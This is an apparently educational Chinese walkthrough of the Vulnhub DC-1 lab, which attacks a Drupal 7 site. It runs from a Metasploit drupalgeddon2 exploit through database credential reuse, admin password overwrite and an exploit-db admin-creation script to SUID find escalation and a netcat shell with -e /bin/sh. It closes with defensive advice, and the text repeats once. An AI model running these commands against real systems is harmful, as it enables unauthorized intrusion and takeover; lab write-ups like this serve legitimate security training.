Vulnhub靶机渗透测试之DC-1-Drupal
字数 1253 2025-08-15 21:33:02

Vulnhub靶机DC-1渗透测试实战教学文档

靶机概述

DC-1是Vulnhub提供的一个基于Drupal CMS的渗透测试靶机,目标是获取root权限并读取flag。本教学文档将详细记录从信息收集到最终提权的完整过程。

环境准备

靶机下载与部署

  1. 从Vulnhub官网下载DC-1靶机镜像(.ova文件)
  2. 使用VMware或VirtualBox导入镜像
  3. 网络配置:桥接模式
    • 攻击机(Kali):192.168.0.114
    • 靶机(DC-1):192.168.0.119

渗透测试步骤

一、信息收集

  1. 端口扫描

    nmap -sV 192.168.0.119
    

    发现开放80端口,运行Drupal CMS

  2. Web应用识别

    • 访问http://192.168.0.119
    • 使用Wappalyzer或查看页面底部确认Drupal版本
    • 检查robots.txt未发现有用信息

二、漏洞发现与利用

  1. 查找Drupal漏洞

    msfconsole
    search drupal
    

    发现drupalgeddon2漏洞(CVE-2018-7600)

  2. 利用漏洞

    use exploit/unix/webapp/drupal_drupalgeddon2
    set RHOSTS 192.168.0.119
    exploit
    

    成功获取普通权限shell

三、初始访问与信息收集

  1. 获取第一个flag

    whoami
    ls
    cat flag1.txt
    

    flag1提示:检查Drupal配置文件settings.php

  2. 查找配置文件

    find -name "settings.php"
    cat /var/www/sites/default/settings.php
    

    发现:

    • flag2
    • 数据库凭据:dbuser/R0ck3t
  3. 获取交互式shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    

四、数据库操作

  1. 连接数据库

    mysql -u dbuser -p
    

    输入密码:R0ck3t

  2. 数据库信息收集

    show databases;
    use drupaldb;
    show tables;
    select * from users;
    

    发现admin用户密码哈希

  3. 修改管理员密码

    • 使用Drupal密码哈希脚本:
      /var/www/scripts/password-hash.sh 123456
      
    • 更新数据库:
      update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin";
      
      将admin密码改为123456
  4. 或创建新管理员账户

    • 确认Drupal版本:
      cat includes/bootstrap.inc | grep VERSION
      
      确认版本为7.24
    • 使用漏洞脚本:
      python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.119 -u admin123 -p admin123
      

五、获取更多flag

  1. 登录Drupal后台

    • 访问http://192.168.0.119
    • 使用admin/123456登录
    • 在"Find content"中找到flag3
  2. flag3提示

    • 检查/etc/passwd和/etc/shadow
    • 在/home/flag4找到flag4.txt
  3. 获取flag4

    cat /home/flag4/flag4.txt
    

    提示:在root目录下寻找最终flag

六、权限提升

  1. SUID提权

    • 查找具有SUID权限的文件:
      find / -user root -perm -4000 -print 2>/dev/null
      
    • 发现find命令具有SUID权限
  2. 利用find提权

    find ./ 111 -exec '/bin/sh' \;
    

    成功获取root shell

  3. 或使用netcat提权

    touch admin
    find admin -exec netcat -lvp 7777 -e "/bin/sh" \;
    

    在攻击机连接:

    nc 192.168.0.119 7777
    
  4. 获取最终flag

    cd /root
    ls
    cat thefinalflag.txt
    

关键知识点总结

  1. 漏洞利用

    • Drupalgeddon2漏洞(CVE-2018-7600)利用
    • MSF框架使用
  2. 数据库操作

    • MySQL基本操作
    • Drupal密码哈希机制
  3. 权限提升技术

    • SUID提权原理与实践
    • find命令的-exec参数利用
    • netcat反向shell
  4. 信息收集技巧

    • 配置文件分析(settings.php)
    • 系统文件检查(/etc/passwd, /etc/shadow)

防御建议

  1. 及时更新CMS系统补丁
  2. 限制数据库用户权限
  3. 检查并移除不必要的SUID权限
  4. 使用强密码策略
  5. 限制敏感文件访问权限

通过本实战演练,可以全面掌握从Web应用到系统层面的渗透测试技术,特别是针对Drupal系统的安全评估方法。

Vulnhub靶机DC-1渗透测试实战教学文档 靶机概述 DC-1是Vulnhub提供的一个基于Drupal CMS的渗透测试靶机,目标是获取root权限并读取flag。本教学文档将详细记录从信息收集到最终提权的完整过程。 环境准备 靶机下载与部署 从Vulnhub官网下载DC-1靶机镜像(.ova文件) 使用VMware或VirtualBox导入镜像 网络配置:桥接模式 攻击机(Kali):192.168.0.114 靶机(DC-1):192.168.0.119 渗透测试步骤 一、信息收集 端口扫描 发现开放80端口,运行Drupal CMS Web应用识别 访问http://192.168.0.119 使用Wappalyzer或查看页面底部确认Drupal版本 检查robots.txt未发现有用信息 二、漏洞发现与利用 查找Drupal漏洞 发现 drupalgeddon2 漏洞(CVE-2018-7600) 利用漏洞 成功获取普通权限shell 三、初始访问与信息收集 获取第一个flag flag1提示:检查Drupal配置文件settings.php 查找配置文件 发现: flag2 数据库凭据:dbuser/R0ck3t 获取交互式shell 四、数据库操作 连接数据库 输入密码:R0ck3t 数据库信息收集 发现admin用户密码哈希 修改管理员密码 使用Drupal密码哈希脚本: 更新数据库: 将admin密码改为123456 或创建新管理员账户 确认Drupal版本: 确认版本为7.24 使用漏洞脚本: 五、获取更多flag 登录Drupal后台 访问http://192.168.0.119 使用admin/123456登录 在"Find content"中找到flag3 flag3提示 检查/etc/passwd和/etc/shadow 在/home/flag4找到flag4.txt 获取flag4 提示:在root目录下寻找最终flag 六、权限提升 SUID提权 查找具有SUID权限的文件: 发现find命令具有SUID权限 利用find提权 成功获取root shell 或使用netcat提权 在攻击机连接: 获取最终flag 关键知识点总结 漏洞利用 Drupalgeddon2漏洞(CVE-2018-7600)利用 MSF框架使用 数据库操作 MySQL基本操作 Drupal密码哈希机制 权限提升技术 SUID提权原理与实践 find命令的-exec参数利用 netcat反向shell 信息收集技巧 配置文件分析(settings.php) 系统文件检查(/etc/passwd, /etc/shadow) 防御建议 及时更新CMS系统补丁 限制数据库用户权限 检查并移除不必要的SUID权限 使用强密码策略 限制敏感文件访问权限 通过本实战演练,可以全面掌握从Web应用到系统层面的渗透测试技术,特别是针对Drupal系统的安全评估方法。